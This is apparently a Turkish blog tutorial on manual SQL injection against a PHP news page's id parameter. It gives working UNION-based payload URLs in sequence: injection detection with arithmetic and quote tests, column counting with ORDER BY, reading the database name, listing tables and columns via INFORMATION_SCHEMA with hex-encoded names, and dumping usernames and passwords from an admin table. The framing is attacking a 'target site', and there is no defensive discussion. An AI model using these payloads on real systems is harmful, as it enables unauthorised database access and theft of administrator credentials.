Manuel SQL İnjection


Manuel SQL İnjection Tespiti (Matematiksel)

5 ID li Sayfamız;

4 ID li Sayfamız;

SQL İnjection Tespitimiz İçin Integer Değerlerinde Çıkarma İşlemi Yapacağız İşlemlerimiz Başarı ile Sonuçlanırsa SQL Açığımız Var Demektir.

Saldırı Sayfamız;

Değerimize -1 Ekledik ve Sorguya Giden 5 Değerini 4 Olarak Algılayıp 4 ID li Sayfanın Bilgilerini Çekti. SQL Açığı Olmayan Bir Sitede Matematiksel İşlemler Geçersiz Olacaktır Veya 404 v.b Hatalar Verecektir.


Manuel SQL İnjection Tespiti (Tırnak İşareti)


4 ID li Sayfamız;

Integer Değerimizin Sonuna Tırnak (') Veya (%27) Ekleyerek SQL Açığı Tespiti Yapılabilmektedir.

Saldırı Sayfamız;

Veya


Sayfaya Saldırı Yapıldığında MySQL İle İlgili Hata Veriyorsa SQL Açığın Olma Olasılığı %100 fakat Veri Kaybı Yaşanıyorsa (2. Görsel) SQL Açığın Olma Olasılığı %60 Azalıyor.



Kolon Sayısını Bulmak

Kolon Sayısı, Tablodaki Kolonların Sayılarıdır;
Gördüğünüz gibi Haberler Tablomuzda 7 Kolon Bulunmaktadır Hedef Sitemizde Kolon Sayısını Bulmaya Çalışacağız

xx.com/haber.php?id=4%27+ORDER+BY+1+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+2+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+3+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+4+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+5+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+6+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+7+--+- (Sitede Hata/Veri Kaybı Yok)
xx.com/haber.php?id=4%27+ORDER+BY+8+--+- (Sitede Hata/Veri Kaybı VAR)

8 Integer'de Sayfamızda Veri Kaybı veya Hata Aldık Demek Oluyorki Kolon Sayımız 7



Kolon Sayıları Ekrana Yazdırma

SQL Komutlarımızı Çalıştırıp ve Sonucu Görebilmemiz İçin Kolon Sayılarına İhtiyacımız var, Çünkü Ekranda Olmayan Kolon Sayılara SQL Komutları Uygulandığında Arka Planda Sorunsuz Çalışır ama Sonuçlarını Göremezsiniz.

xx.com/haber.php?id=4%27+UNION+ALL+SELECT+1,2,3,4,5,6,7+--+-

Şekilde Kolon Sayılarımızı Ekrana Yazdırabiliriz Bazen Çıkmayabilir Çıkmadığı Zamanlar ise;

xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,5,6,7+--+-

Uygulanarak Kolonlarımız Ekrana Yazdırırız Kolon Sayılarımız Ekrana Geldiğinde Uygun bir divin içindeki Sayıyı Seçiyoruz (Ben 5 Olanı Seçtim)




Database Adını Öğrenme

Hedef Sitemizin Databasemizi Öğrenmek İçin;
xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,database(),6,7+--+-
Seçtiğiniz Integer (5) Değerini Silip database() Yazıyoruz Ve Integer (5) Kolon Sayısının Yerine Database Adımız Gelecektir.



Tabloları Ekrana Yazdırma

Database Adımızı Öğrendiğimize Göre Tablolarımızı Çekebiliriz, Bunun İçin Bize Hex Encode Siteleri Kullanmamız Gerekiyor Database Adımızı Encode Ederek Tablolarımızı Çekeceğiz,
ip_whiz = 69705F7768697A


xx.com/haber.php?id=4%27+and+false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT( table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_ SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x69705F7768697A),6,7+--+-

Kırmızı İle İşaretlediğim Yer Encode Ettiğimiz Metnin Önüne Koyulmalıdır Sarı ile İşaretlediğim Yer ise Encode Edilmiş Database Adımızdır, İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablolar Gelecektir.



Tablonun Kolonlarını Ekrana Yazdırma

Seçtiğimiz Tablonun Kolonlarını Öğrenebilmemiz İçin Tablomuzun İsmini Yeniden Hex Encode Ediyoruz;
admin = 61646D696E

xx.com/haber.php?id=4%27+and false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT( column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION _SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646D696E),6,7+--+-

 Kırmızı İle İşaretlediğim Yer Encode Ettiğimiz Metnin Önüne Koyulmalıdır Sarı ile İşaretlediğim Yer ise Encode Edilmiş Tablo Adımızdır, İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablo Kolonlarımız Gelecektir.




Kolonların Değerlerini Ekrana Yazdırma

Seçtiğimiz Kolonların Değerlerini Çekebilmek için;

xx.com/haber.php?id=4%27+and false+UNION+ALL+SELECT+1,2,3,4,(SELECT+GROUP_CONCAT(id,username,password+SEPARATOR+0x3c62723e)+FROM+ip_whiz.admin),6,7+--+-

Yeşil İle İşaretlediğim Yer Hangi Kolonların Değerlerini Almak istiyorsak İsimlerin Yazıldığı Yer, Kırmızı İle İşaretlediğim Yer Database Adımız, Sarı İle İşaretlediğim Yer Tablo Adımız. İşlemleri Yaptıktan Sonra Integer (5) Kolon Sayınızın Yerine Tablo Kolonlarımızın Değerleri Gelecektir.












0 Yorumlar